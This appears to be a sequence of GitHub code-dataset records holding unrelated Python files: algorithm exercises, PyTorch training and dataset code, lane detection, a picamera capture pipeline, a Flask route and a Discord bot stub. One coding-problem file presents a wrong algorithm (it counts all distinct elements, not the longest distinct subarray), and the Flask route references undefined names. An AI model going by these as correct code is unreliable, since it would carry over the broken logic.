pixel_type=5)\n","repo_name":"juancotrino/Drought-analysis-functions","sub_path":"EXECUTABLES/FINALES/7_Export_binary_rasters.py","file_name":"7_Export_binary_rasters.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"74749931107","text":"'''\nFind the minimum number of operations to reduce a given number, N\nto 1 using only the following allowed operations:\n\n1. Subtract 1 from it\n2. If it is even, divide by 2\n3. If it is divisible by 3, divie by 3\n\nThis uses dynamic programming technique to solve the above problem since\nthe problem exhibits both optimal substructure and overlapping subproblems\n\nReference: http://www.codechef.com/wiki/tutorial-dynamic-programming\n'''\n\ndef find_steps_to_1(N):\n if N <= 1:\n return 0\n else:\n # \"Array\": [0, 0, .. N], [0] is unused\n steps = [0*i for i in range(0, N+1)]\n # trivial step, number of steps for 1 = 0\n steps[1] = 0\n for i in range(2, N+1):\n steps[i] = steps[i-1] + 1\n if i%2 == 0:\n steps[i] = min(steps[i], 1 + steps[int(i/2)])\n if i%3 == 0:\n steps[i] = min(steps[i], 1 + steps[int(i/3)])\n return steps[N]\n\n# test data\nassert find_steps_to_1(1) == 0\nassert find_steps_to_1(3) == 1\nassert find_steps_to_1(4) == 2\nassert find_steps_to_1(7) == 3\n","repo_name":"amitsaha/learning","sub_path":"python/dp/dp1.py","file_name":"dp1.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"70"} +{"seq_id":"23193768302","text":"import math\nimport os\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.autograd as autograd\nimport torch.optim as optim\nimport numpy as np\nfrom torch.autograd import Variable\nimport tqdm\nfrom avae.dataset import *\nfrom avae.model import RNN_VAE\nimport CONFIG\nimport argparse\n\nmb_size = CONFIG.BATCH_SIZE\nz_dim = CONFIG.Z_DIMENSION\nc_dim = CONFIG.C_DIM\nh_dim = z_dim + c_dim\nlr = CONFIG.LEARNING_RATE\nlr_decay_every = CONFIG.LEARNING_RATE_DECAY\nn_iter = CONFIG.ITERATRATIONS\nlog_interval = CONFIG.LOG_INTERVAL\n\npath_imdb = CONFIG.IMDB_PATH\n\n\ndataset = Read_Dataset(path_imdb)\n\nmodel = RNN_VAE(\n len(dataset.TEXT.vocab.vectors), h_dim, z_dim, c_dim, p_word_dropout=0.3,\n pretrained_embeddings=dataset.TEXT.vocab.vectors, freeze_embeddings=True,\n gpu=CONFIG.GPU\n)\n\nmodel.cuda()\nmodel.train()\n\ndef load_pretrained_model(model, path):\n pretrained_dict = torch.load(path)\n model_dict = model.state_dict()\n dict_update = {}\n for k, v in pretrained_dict.items():\n if v.size() == model_dict[k].size():\n dict_update[k] = v\n else:\n print(k)\n model_dict.update(dict_update)\n model.load_state_dict(model_dict)\n\n\ndef main():\n # Annealing for KL term\n kld_start_inc = 3000\n kld_weight = 0.01\n kld_max = 0.15\n kld_inc = (kld_max - kld_weight) / (n_iter - kld_start_inc)\n trainer = optim.Adam(model.vae_params, lr=lr)\n\n it = 1\n while(it <= n_iter):\n for batch in tqdm(dataset.train_iter_vae):\n if(it >= n_iter):\n break\n inputs = batch.text.cuda()\n\n recon_loss, kl_loss, z = model.forward(inputs)\n loss = recon_loss + kld_weight * kl_loss\n\n # Anneal kl_weight\n if it > kld_start_inc and kld_weight < kld_max:\n kld_weight += kld_inc\n\n\n loss.backward()\n grad_norm = torch.nn.utils.clip_grad_norm(model.vae_params, 5)\n trainer.step()\n trainer.zero_grad()\n\n if it % log_interval == 0:\n print('Iter-{}; Loss: {:.4f}; Recon: {:.4f}; KL: {:.4f}; Grad_norm: {:.4f};'\n .format(it, loss, recon_loss.data, kl_loss.data, grad_norm))\n if it % 500 == 0:\n save_model(it)\n # Anneal learning rate\n new_lr = lr * (0.5 ** (it // lr_decay_every))\n for param_group in trainer.param_groups:\n param_group['lr'] = new_lr\n it += 1\n\n\ndef kl_anneal_function(anneal_function, step, k, x0):\n if anneal_function == 'logistic':\n return float(1/(1+np.exp(-k*(step-x0))))\n elif anneal_function == 'linear':\n return min(1, step/x0)\n\ndef save_model(it):\n if not os.path.exists('models/'):\n os.makedirs('models/')\n torch.save(model.state_dict(), 'models/vae_' + str(CONFIG.C_DIM) + '_'+ str(it))\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"textgeneration/AVAE","sub_path":"train_vae.py","file_name":"train_vae.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"17763489586","text":"# daily coding problem #189 (easy)\r\n#\r\n# Changelog:\r\n#\r\n# 12-23-2019\r\n#\r\n# initial creation. pretty easy question. i put two different solutions because\r\n# in the python context, one would just use the set class for this task. but i\r\n# also added a lookup table solution as a non-python-specific alternative.\r\n\r\n__doc__ = \"\"\"\r\nThis problem was asked by Google.\r\n\r\nGiven an array of elements, return the length of the longest subarray where all\r\nits elements are distinct.\r\n\r\nFor example, given the array [5, 1, 3, 5, 2, 3, 4, 1], return 5 as the longest\r\nsubarray of distinct elements is [5, 2, 3, 4, 1].\r\n\"\"\"\r\n\r\n# import evaluation function\r\nfrom ufunc_eval import ufunc_eval\r\n\r\ndef n_distinct_native(ar):\r\n \"\"\"\r\n native python solution to the problem by using the set class.\r\n \"\"\"\r\n assert ar is not None\r\n if len(ar) == 0: return 0\r\n # create set and return length of set\r\n return len(set(ar))\r\n\r\ndef n_distinct_dict(ar):\r\n \"\"\"\r\n solution using a dictionary, so requires O(n) time and O(n) space.\r\n \"\"\"\r\n assert ar is not None\r\n # if length is 0, just return 0\r\n if len(ar) == 0: return 0\r\n # lookup of unique values\r\n look = {}\r\n # for all elements in ar, increment the count in the lookup table for the\r\n # values that already have a key there and add new entries\r\n for e in ar:\r\n if e in look: look[e] = look[e] + 1\r\n else: look[e] = 1\r\n # return length of look\r\n return len(look)\r\n\r\n# main\r\nif __name__ == \"__main__\":\r\n func_a = n_distinct_native\r\n func_b = n_distinct_dict\r\n # problem input, answer is 5\r\n ar = [5, 1, 3, 5, 2, 3, 4, 1]\r\n ufunc_eval(func_a, ar)\r\n ufunc_eval(func_b, ar)\r\n # another input, answer is 8\r\n ar = [6, 4, 5, 2, 6, 4, 5, 7, 8, 2, 4, 65, 2, 3]\r\n ufunc_eval(func_a, ar)\r\n ufunc_eval(func_b, ar)\r\n","repo_name":"phetdam/daily-coding-problem","sub_path":"legacy/subset_length.py","file_name":"subset_length.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"27925744608","text":"#imports the ability to get a random number (we will learn more about this later!)\r\nfrom random import *\r\nprint(\"Welcome to Jae's Cafe\")\r\n\r\n#Create the list of words you want to choose from.\r\nsides = [\"French Fries\", \"Broccoli\", \"Mac and Cheese\", \"Mashed Potatos\"]\r\nmains = [\"Steak\", \"Baked Chicken\", \"Lobster\", \"Salmon\"]\r\ndesserts = [\"Cheesecake\", \"Ice Cream\", \"Pie\", \"Cake\"]\r\n\r\nvariable = input(\"Pick a number 0-4\")\r\nvariable = int(variable)\r\nprint(sides[variable])\r\n\r\nvariable = input(\"Pick a number 0-4\")\r\nvariable = int(variable)\r\nprint(mains[variable])\r\n\r\nvariable = input(\"Pick a number 0-4\")\r\nvariable = int(variable)\r\nprint(desserts[variable])\r\n#Generates a random integer.\r\n# aRandomIndex = (len(sides))\r\n# print(\"First: \", sides)\r\n# print(\"Second: \", mains)\r\n# print(\"Third: \", dessert)\r\n# print(str(aRandomIndex))\r\n","repo_name":"najae02/GWC-python-and-final-project-","sub_path":"listchallenge.py","file_name":"listchallenge.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"8119271837","text":"import os\nimport pandas as pd\nimport numpy as np\n\nfrom PIL import Image\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import transforms\n\n# 1. 读取数据 看看label文件长啥样\npath = './data/classify-leaves'\nlabels_file_path = os.path.join(path, 'train.csv')\nsample_submission_path = os.path.join(path, 'test.csv')\n\ndf = pd.read_csv(labels_file_path)\n\nleaves_labels = sorted(list(set(df['label'])))\nn_classes = len(leaves_labels)\n# 把label转成对应的数字\nclass_to_num = dict(zip(leaves_labels, range(n_classes)))\n\n\nclass LeavesData(Dataset):\n def __init__(self, csv_path, file_path, mode='train', valid_ratio=0.2, resize_height=256, resize_width=256):\n \"\"\"\n Args:\n csv_path (string): csv 文件路径\n img_path (string): 图像文件所在路径\n mode (string): 训练模式还是测试模式\n valid_ratio (float): 验证集比例\n \"\"\"\n\n # 需要调整后的照片尺寸,我这里每张图片的大小尺寸不一致#\n self.resize_height = resize_height\n self.resize_width = resize_width\n\n self.file_path = file_path\n self.mode = mode\n\n # 读取 csv 文件\n # 利用pandas读取csv文件\n self.data_info = pd.read_csv(csv_path, header=None) # header=None是去掉表头部分\n # 计算 length\n self.data_len = len(self.data_info.index) - 1\n self.train_len = int(self.data_len * (1 - valid_ratio))\n\n if mode == 'train':\n # 第一列包含图像文件的名称\n self.train_image = np.asarray(\n self.data_info.iloc[1:self.train_len, 0]) # self.data_info.iloc[1:,0]表示读取第一列,从第二行开始到train_len\n # 第二列是图像的 label\n self.train_label = np.asarray(self.data_info.iloc[1:self.train_len, 1])\n print(type(self.train_label))\n self.image_arr = self.train_image\n self.label_arr = self.train_label\n elif mode == 'valid':\n self.valid_image = np.asarray(self.data_info.iloc[self.train_len:, 0])\n self.valid_label = np.asarray(self.data_info.iloc[self.train_len:, 1])\n self.image_arr = self.valid_image\n self.label_arr = self.valid_label\n elif mode == 'test':\n self.test_image = np.asarray(self.data_info.iloc[1:, 0])\n self.image_arr = self.test_image\n\n self.real_len = len(self.image_arr)\n\n print('Finished reading the {} set of Leaves Dataset ({} samples found)'\n .format(mode, self.real_len))\n\n def __getitem__(self, index):\n # 从 image_arr中得到索引对应的文件名\n single_image_name = self.image_arr[index]\n\n # 读取图像文件\n img_as_img = Image.open(self.file_path + single_image_name)\n\n # 如果需要将RGB三通道的图片转换成灰度图片可参考下面两行\n # if img_as_img.mode != 'L':\n # img_as_img = img_as_img.convert('L')\n\n # 设置好需要转换的变量,还可以包括一系列的nomarlize等等操作\n if self.mode == 'train':\n transform = transforms.Compose([\n # transforms.RandomResizedCrop((224,224), scale=(0.8, 1), ratio=(0.8, 1.2)), #随机剪裁\n # transforms.transforms.ColorJitter(brightness=0.5, contrast=0.5, saturation=0.5, hue=0.5), #颜色亮度色调\n # transforms.Resize((224, 224)),\n transforms.RandomHorizontalFlip(p=0.5), # 随机水平翻转 选择一个概率\n transforms.RandomVerticalFlip(p=0.5), # 随机水平翻转 选择一个概率\n transforms.ToTensor()\n ])\n else:\n # valid和test不做数据增强\n transform = transforms.Compose([\n transforms.Resize((224, 224)),\n transforms.ToTensor()\n ])\n\n img_as_img = transform(img_as_img)\n\n if self.mode == 'test':\n return img_as_img\n else:\n # 得到图像的 string label\n label = self.label_arr[index]\n # number label\n number_label = class_to_num[label]\n\n return img_as_img, number_label # 返回每一个index对应的图片数据和对应的label\n\n def __len__(self):\n return self.real_len\n\n\ntrain_path = './data/classify-leaves/train.csv'\ntest_path = './data/classify-leaves/test.csv'\n# csv文件中已经images的路径了,因此这里只到上一级目录\nimg_path = './data/classify-leaves/'\n\ntrain_dataset = LeavesData(train_path, img_path, mode='train')\nval_dataset = LeavesData(train_path, img_path, mode='valid')\ntest_dataset = LeavesData(test_path, img_path, mode='test')\nprint(train_dataset)\nprint(val_dataset)\nprint(test_dataset)\n\n# 定义data loader\ntrain_loader = torch.utils.data.DataLoader(\n dataset=train_dataset,\n batch_size=16,\n shuffle=False\n # num_workers=5\n)\n\nval_loader = torch.utils.data.DataLoader(\n dataset=val_dataset,\n batch_size=16,\n shuffle=False\n # num_workers=5\n)\ntest_loader = torch.utils.data.DataLoader(\n dataset=test_dataset,\n batch_size=16,\n shuffle=False\n # num_workers=5\n)\n\nfor batch in train_loader:\n imgs, labels = batch\n # print(batch)\n print(type(labels))\n break\n","repo_name":"doppler-motion/studyProject","sub_path":"project/leaves_classify/tmp2.py","file_name":"tmp2.py","file_ext":"py","file_size_in_byte":5388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"25590036513","text":"import pytest\r\n\r\nimport torch\r\nfrom torch import nn\r\nimport numpy as np\r\nimport bohml\r\nfrom bohml.utils.model.backbone import Conv\r\n\r\n\r\nbackbone_model = Conv([5, 3, 84, 84], 5, num_filters=32, use_head=True)\r\n\r\ntr_xs = torch.rand(32, 3, 84, 84)\r\ntr_ys = torch.tensor([0, 1, 2, 3, 4, 5, 6, 7]).repeat(4)\r\ntst_xs = torch.rand(64, 3, 84, 84)\r\ntst_ys = torch.tensor([0, 1, 2, 3, 4, 5, 6, 7]).repeat(8)\r\n\r\n\r\nclass TestBackbone:\r\n\r\n def test_bilevel_model_conv4(self):\r\n ul_model = bohml.utils.model.backbone.Conv([32, 3, 84, 84], 8, num_filters=32, use_head=False)\r\n\r\n ll_model = nn.Sequential(\r\n nn.Flatten(),\r\n nn.Linear(np.prod(ul_model.output_shape[1:]), 10)\r\n )\r\n ll_model(ul_model(tr_xs))\r\n\r\n def test_bilevel_model_res12(self):\r\n ul_model = bohml.utils.model.backbone.Res12([32, 3, 84, 84], 8, use_head=False)\r\n\r\n ll_model = nn.Sequential(\r\n nn.Flatten(),\r\n nn.Linear(np.prod(ul_model.output_shape[1:]), 10)\r\n )\r\n ll_model(ul_model(tr_xs))\r\n\r\n def test_singlelevel_model_conv4(self):\r\n model = bohml.utils.model.backbone.Conv([32, 3, 84, 84], 8, num_filters=32, use_head=True)\r\n model(tr_xs)\r\n\r\n def test_singlelevel_model_res12(self):\r\n model = bohml.utils.model.backbone.Res12([32, 3, 84, 84], 8, use_head=True)\r\n model(tr_xs)\r\n","repo_name":"JiaoXianghao/BOHML","sub_path":"test_script/test_backbone.py","file_name":"test_backbone.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","stars":167,"dataset":"github-code","pt":"70"} +{"seq_id":"39712533819","text":"from fastapi import FastAPI\nimport random\n\napp = FastAPI()\n\n@app.get(\"/\")\nasync def root():\n return {\"Application Doc\": \"Random Number Generator\"}\n\n@app.get(\"/random\")\nasync def random_num():\n randomNumber: int = random.randint(0, 100)\n return{\"Random Number\" : randomNumber}\n\n@app.get(\"/random/{limit}\")\nasync def random_num(limit: int):\n randomNumber: int = random.randint(0, limit)\n return{\"Random Number\" : randomNumber}","repo_name":"Sharat-Chandra-N/SampleFast","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"72993725665","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 26 15:43:55 2018\n\n@author: Andrei Baraian\n\"\"\"\n\n#importing some useful packages\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport cv2\n\n\n## The ego point of the reference image, that will be used as the desired\n## position of the car between the lanes\negoRefPoint = [345,257]\n\noneLane = False\nmax_right_error = -3 #dummy value, need to set a real value\nmax_left_error = 3 #dummy value, need to set a real value\n\n \ndef sobel_thresh(img, orient='x',thresh=(0,255)):\n gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n if orient == 'x':\n abs_sobel = np.absolute(cv2.Sobel(gray,cv2.CV_64F,1,0))\n if orient == 'y':\n abs_sobel = np.absolute(cv2.Sobel(gray,cv2.CV_64F,0,1))\n scaled_sobel = np.uint8(255 * abs_sobel / np.max(abs_sobel))\n binary_output = np.zeros_like(scaled_sobel)\n binary_output[(scaled_sobel >= thresh[0]) & (scaled_sobel <= thresh[1])] = 1\n return binary_output\n\ndef mag_threshold(img,sobel_kernel=3,thresh=(0,255)):\n gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n x = cv2.Sobel(gray,cv2.CV_64F,1,0,ksize=sobel_kernel)\n y = cv2.Sobel(gray,cv2.CV_64F,0,1,ksize=sobel_kernel)\n mag = np.sqrt(x**2 + y**2)\n scale = np.max(mag)/255\n eightbit = (mag/scale).astype(np.uint8)\n binary_output = np.zeros_like(eightbit)\n binary_output[(eightbit > thresh[0]) & (eightbit < thresh[1])] = 1\n return binary_output\n\ndef dir_threshold(img,sobel_kernel=3,thresh=(0, np.pi/2)):\n gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n x = np.absolute(cv2.Sobel(gray,cv2.CV_64F,1,0,ksize=sobel_kernel))\n y = np.absolute(cv2.Sobel(gray,cv2.CV_64F,0,1,ksize=sobel_kernel))\n direction = np.arctan2(y,x)\n binary_output = np.zeros_like(direction)\n binary_output[(direction > thresh[0]) & (direction < thresh[1])] = 1\n return binary_output\n\ndef hls_select(img,sthresh=(0,255),lthresh=()):\n hls_img = cv2.cvtColor(img,cv2.COLOR_RGB2HLS)\n #cv2.imshow('hls',hls_img)\n L = hls_img[:,:,1]\n S = hls_img[:,:,2]\n binary_output = np.zeros_like(S)\n binary_output[(S >= sthresh[0]) & (S <= sthresh[1])\n & (L > lthresh[0]) & (L <= lthresh[1])] = 1\n return binary_output\n\ndef red_select(img,thresh=(0,255)):\n R=img[:,:,0]\n binary_output = np.zeros_like(R)\n binary_output[(R > thresh[0]) & (R <= thresh[1])] = 255\n return binary_output\n\ndef resizeImage(originalImage,newWidth=512):\n r = newWidth / originalImage.shape[1]\n dim = (newWidth, int(originalImage.shape[0] * r))\n resized = cv2.resize(originalImage,dim,interpolation = cv2.INTER_AREA)\n return resized\n\ndef regionOfInterest(image,percentage=20):\n newY = int((image.shape[0] / 100) * percentage)\n newImage = image[newY:image.shape[0],0:image.shape[1]]\n return newImage\n\ndef apply_smoothing(image,kernel_size=15):\n return cv2.GaussianBlur(image,(kernel_size, kernel_size), 0)\n\ndef warp_image(img):\n image_size = (img.shape[1], img.shape[0])\n x = img.shape[1]\n y = img.shape[0]\n \n source_points = np.float32([\n [0.0 * x, y-100],\n [(0.5 * x) - (x*0.30), (1/3)*y],\n [(0.5 * x) + (x*0.30), (1/3)*y],\n [x - (0.0 * x), y-100]\n ])\n \n# print(source_points)\n \n# destination_points = np.float32([\n# [0.05 * x, y],\n# [0.20 * x, 0],\n# [x - (0.20 * x), 0],\n# [x - (0.05 * x), y]\n# ])\n \n destination_points = np.float32([\n [50, y],\n [0, 0],\n [x, 0],\n [x -50, y]\n ])\n \n #print(destination_points)\n \n perspective_transform = cv2.getPerspectiveTransform(source_points, destination_points)\n inverse_perspective_transform = cv2.getPerspectiveTransform( destination_points, source_points)\n \n warped_img = cv2.warpPerspective(img, perspective_transform, image_size, flags=cv2.INTER_LINEAR)\n \n return warped_img, inverse_perspective_transform\n\ndef binary_pipeline(img):\n img_copy = cv2.GaussianBlur(img,(9,9),0)\n #cv2.imshow('gaussian',img_copy)\n \n #Color channel\n red_binary = red_select(img_copy,thresh=(200,255))\n #red_binary = cv2.GaussianBlur(red_binary,(9,9),0)\n cv2.imshow('filter white',red_binary)\n \n #Sobel \n x_binary = sobel_thresh(img_copy,thresh=(50,150))\n y_binary = sobel_thresh(img_copy,orient='y',thresh=(50,150))\n xy = cv2.bitwise_and(x_binary,y_binary)\n \n #magnitude and direction\n mag_binary = mag_threshold(img_copy, sobel_kernel=3,thresh=(30,100))\n dir_binary = dir_threshold(img_copy, sobel_kernel=3,thresh=(0.8,1.2))\n \n #stack each channnel\n gradient = np.zeros_like(red_binary)\n gradient[((x_binary == 1) & (y_binary == 1)) | ((mag_binary == 1) & (dir_binary == 1))] = 1\n final_binary = cv2.bitwise_or(red_binary,gradient)\n \n return red_binary\n \n\n##--------------------------------------------------------------------------\n## \n## Find the center between the lanes and return it.\n## !In case there is one lane, return the middle of that lane!\n## The orientation of that lane will be calculated later\n\n\ndef find_ego(img):\n \n height = img.shape[0]\n width = img.shape[1]\n \n currentRow = int(0.9 * height)\n currentCol = 3\n \n ok = False\n while ok == False and currentCol < width - 1:\n mat = img[currentRow-1:currentRow+2,currentCol-1:currentCol+2]\n a = np.asarray(mat).reshape(-1)\n binary_mat = np.zeros(9,dtype='int')\n binary_mat[a > 150] = 1\n currentCol = currentCol + 1\n ok = np.bitwise_and.reduce(binary_mat)\n \n entry_line1 = currentCol\n #print('entry is ',entry_line1)\n ok = False\n while ok == False and currentCol < width - 1:\n mat = img[currentRow-1:currentRow+2,currentCol-1:currentCol+2]\n a = np.asarray(mat).reshape(-1)\n binary_mat = np.zeros(9,dtype='int')\n binary_mat[a < 150] = 1\n currentCol = currentCol + 1\n ok = np.bitwise_and.reduce(binary_mat)\n \n exit_line1 = currentCol\n #print('exit is ',exit_line1)\n #currentCol = currentCol + 30\n \n ok = False\n while ok == False and currentCol < width - 2:\n mat = img[currentRow-1:currentRow+2,currentCol-1:currentCol+2]\n a = np.asarray(mat).reshape(-1)\n #print(a,' ',currentCol,' width is ',width-2)\n binary_mat = np.zeros(9,dtype='int')\n binary_mat[a > 150] = 1\n currentCol = currentCol + 1\n ok = np.bitwise_and.reduce(binary_mat)\n \n entry_line2 = currentCol\n ## if the condition is true, it means that we have only one lane and we\n ## should further see if we have a right turning lane or a left one\n if entry_line2 == width - 2:\n global oneLane \n oneLane = True\n return [currentRow, entry_line1 + ((exit_line1 - entry_line1) // 2)]\n# \n# ok = False\n# while ok == False:\n# mat = img[currentRow-1:currentRow+2,currentCol-1:currentCol+2]\n# a = np.asarray(mat).reshape(-1)\n# binary_mat = np.zeros(9,dtype='int')\n# binary_mat[a < 150] = 1\n# currentCol = currentCol + 1\n# ok = np.bitwise_and.reduce(binary_mat)\n# \n# exit_line2 = currentCol\n \n egoPoint = [currentRow,exit_line1 + (entry_line2 - exit_line1) // 2]\n \n #print('----',entry_line1,exit_line1,entry_line2,exit_line2)\n print('ego point is',egoPoint)\n \n return egoPoint\n\n\n##--------------------------------------------------------------------------\n##\n## Decide if the lane is a right turning one or a left one.\n## Return 1 if we have a right turning lane\n## Return 0 if we have a right turning lane\n## Baseline is the middle point of that lane, situated in the lower part\n## of the picture\n##\n \ndef findLaneOrientation(img, baseLine):\n \n height = img.shape[0]\n width = img.shape[1]\n \n currentRow = int(0.45 * height)\n currentCol = 3\n \n ok = False\n while ok == False and currentCol < width - 1:\n mat = img[currentRow-1:currentRow+2,currentCol-1:currentCol+2]\n a = np.asarray(mat).reshape(-1)\n binary_mat = np.zeros(9,dtype='int')\n binary_mat[a > 150] = 1\n currentCol = currentCol + 1\n ok = np.bitwise_and.reduce(binary_mat)\n \n entry_line1 = currentCol\n ok = False\n while ok == False and currentCol < width - 1:\n mat = img[currentRow-1:currentRow+2,currentCol-1:currentCol+2]\n a = np.asarray(mat).reshape(-1)\n binary_mat = np.zeros(9,dtype='int')\n binary_mat[a < 150] = 1\n currentCol = currentCol + 1\n ok = np.bitwise_and.reduce(binary_mat)\n \n exit_line1 = currentCol\n \n mx = entry_line1 + (exit_line1 - entry_line1) // 2\n if mx - baseLine[1] > 0:\n return 1 ## means we have a right turning lane\n else:\n return 0 ## means we have a left turning lane\n \n \n##--------------------------------------------------------------------------\n## \n## Calculate the error between the desired ego point and the actual one\n## The error is calculated by substracting the x-axis points of the \n## desired ego point and the actual ego point\n## \n## A positive results yields a right positioning and needs a left correction\n## A negative results yields a left positioning and needs a right correction\n##\n \ndef calculateError(img):\n global oneLane\n global max_right_error\n global max_left_error\n actualEgo = find_ego(img)\n if oneLane == True: ## the case of having just one lane\n oneLane = False\n laneTurning = findLaneOrientation(img,actualEgo)\n if laneTurning == 1:\n return max_right_error\n else:\n return max_left_error\n ## we have two lanes\n return egoRefPoint[1] - actualEgo[1]\n \n \n \n \n\n\nnameOfImage = 'video/image25.png' \noriginalImage = cv2.imread(nameOfImage)\ngray_image = cv2.cvtColor(originalImage,cv2.COLOR_BGR2GRAY)\nresizedImage = resizeImage(originalImage)\n#cv2.imshow('gray image',gray_image)\n\npipeline_img = binary_pipeline(resizedImage)\ncv2.imshow('pipeline image',pipeline_img)\n\ncannyed_image = cv2.Canny(resizedImage,100,200);\n#cv2.imshow('canny image',cannyed_image)\nbirdseye_result, inverse_perp_trans = warp_image(pipeline_img)\n\nx = resizedImage.shape[1]\ny = resizedImage.shape[0]\n\nsource_points = np.int32([\n [0.0 * x, y-100],\n [(0.5 * x) - (x*0.30), (1/3)*y],\n [(0.5 * x) + (x*0.30), (1/3)*y],\n [x - (0.0 * x), y-100]\n ])\n\ndraw_poly = cv2.polylines(resizedImage,[source_points],True,(255,0,0), 5)\n\nbx = birdseye_result.shape[1]\nby = birdseye_result.shape[0]\n\nscan_line1 = np.int32([\n [0,by - 0.1 * by],\n [bx,by - 0.1 * by]\n ])\n\n#draw_poly = cv2.polylines(birdseye_result,[scan_line1],True,(100,100,0),5)\nprint('error is ',calculateError(birdseye_result))\n#collision1 = find_ego(birdseye_result)\nsrc = np.int32([[53,by - 0.1 * by],[257,by - 0.1 * by]])\ndraw_poly = cv2.polylines(birdseye_result,[src],True,(100,100,0),5)\n\n#print(calculateError(birdseye_result))\n\ncv2.imshow('bird-eye view',birdseye_result)\ncv2.imshow('resized image',resizedImage)\n##\n##cv2.imshow('orig',gray_image)\n#cv2.imshow('resized image',draw_poly)\n##\n#cv2.imshow('bird',birdseye_result)\n##plt.imshow(birdseye_result)\n#\n#histogram = np.sum(birdseye_result[int(birdseye_result.shape[0]/2):,:],axis = 0)\n#plt.figure();\n#plt.plot(histogram);\n\n#canny2 = cv2.Canny(birdseye_result,100,200)\n#cv2.imshow('canny bird',canny2)\n","repo_name":"AndreiBaraian/Lane-detection","sub_path":"lane.py","file_name":"lane.py","file_ext":"py","file_size_in_byte":11429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"34750524696","text":"import io\nimport time\nimport threading\nimport queue\nimport picamera\n\nclass ImageProcessor(threading.Thread):\n def __init__(self, owner):\n super(ImageProcessor, self).__init__()\n self.terminated = False\n self.owner = owner\n self.start()\n\n def run(self):\n # This method runs in a separate thread\n while not self.terminated:\n # Get a buffer from the owner's outgoing queue\n try:\n stream = self.owner.outgoing.get(timeout=1)\n except queue.Empty:\n pass\n else:\n stream.seek(0)\n # Read the image and do some processing on it\n #Image.open(stream)\n #...\n #...\n # Set done to True if you want the script to terminate\n # at some point\n #self.owner.done=True\n stream.seek(0)\n stream.truncate()\n self.owner.incoming.put(stream)\n\nclass ProcessOutput(object):\n def __init__(self, threads):\n self.done = False\n # Construct a pool of image processors, a queue of incoming buffers,\n # and a (currently empty) queue of outgoing buffers. Prime the incoming\n # queue with proc+1 buffers (+1 to permit output to be written while\n # all procs are busy with existing buffers)\n self.incoming = queue.Queue(threads)\n self.outgoing = queue.Queue(threads)\n self.pool = [ImageProcessor(self) for i in range(threads)]\n buffers = (io.BytesIO() for i in range(threads + 1))\n for buf in buffers:\n self.incoming.put(buf)\n self.buffer = None\n\n def write(self, buf):\n if buf.startswith(b'\\xff\\xd8'):\n # New frame; push current buffer to the outgoing queue and attempt\n # to get a buffer from the incoming queue\n if self.buffer is not None:\n self.outgoing.put(self.buffer)\n try:\n self.buffer = self.incoming.get_nowait()\n except queue.Empty:\n # No buffers available (means all threads are busy); skip\n # this frame\n self.buffer = None\n if self.buffer is not None:\n self.buffer.write(buf)\n\n def flush(self):\n # When told to flush (this indicates end of recording), shut\n # down in an orderly fashion. Tell all the processor's they're\n # terminated and wait for them to quit\n for proc in self.pool:\n proc.terminated = True\n for proc in self.pool:\n proc.join()\n\nwith picamera.PiCamera(resolution='VGA') as camera:\n camera.start_preview()\n time.sleep(2)\n output = ProcessOutput(4)\n camera.start_recording(output, format='mjpeg')\n while not output.done:\n camera.wait_recording(1)\n camera.stop_recording()\n","repo_name":"waveform80/picamera","sub_path":"docs/examples/rapid_capture_threading.py","file_name":"rapid_capture_threading.py","file_ext":"py","file_size_in_byte":2908,"program_lang":"python","lang":"en","doc_type":"code","stars":1536,"dataset":"github-code","pt":"70"} +{"seq_id":"2374685374","text":"from flask import Flask, request, json, Response\n#from sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\n#from sqlalchemy import Column, Integer, String\n#from sqlalchemy import create_engine\n\nsession = sessionmaker()\nsession.configure(bind=engine)\napp = Flask(__name__)\napp.debug = True\n\n@app.route('/ciudad', methods=['GET'])\ndef ciudad_list():\n ciudades = s.query(Ciudad)\n return Response(json.dumps(Ciudad), status=200, mimetype='application/json')\n\n#@app.route('/proveedores', methods=['POST'])\n#def create_provider():\n ","repo_name":"emanuelrgomez19/up_agrofullstack","sub_path":"GestionLotesPython/GestionLotesPython/Routes/CiudadRoutes.py","file_name":"CiudadRoutes.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"72452731107","text":"#help command name\r\n#hangman\r\nimport discord, sys, re, os\r\nfrom commands import *\r\n\r\nsys.path.insert(0, '.')\r\n\r\nif len(sys.argv) != 2 :\r\n print(\"python bot.py \")\r\n sys.exit(1)\r\n\r\nclient = discord.Client()\r\n\r\n#get all txt and py files\r\ntextFiles = os.listdir(\"./pasta\")\r\ncommandFiles = os.listdir(\"./commands\")\r\n\r\n#remove unwanted file\r\nif \"__init__.py\" in commandFiles:\r\n del commandFiles[commandFiles.index(\"__init__.py\")]\r\n\r\nif \"__pycache__\" in commandFiles:\r\n del commandFiles[commandFiles.index(\"__pycache__\")]\r\n\r\n#remove file 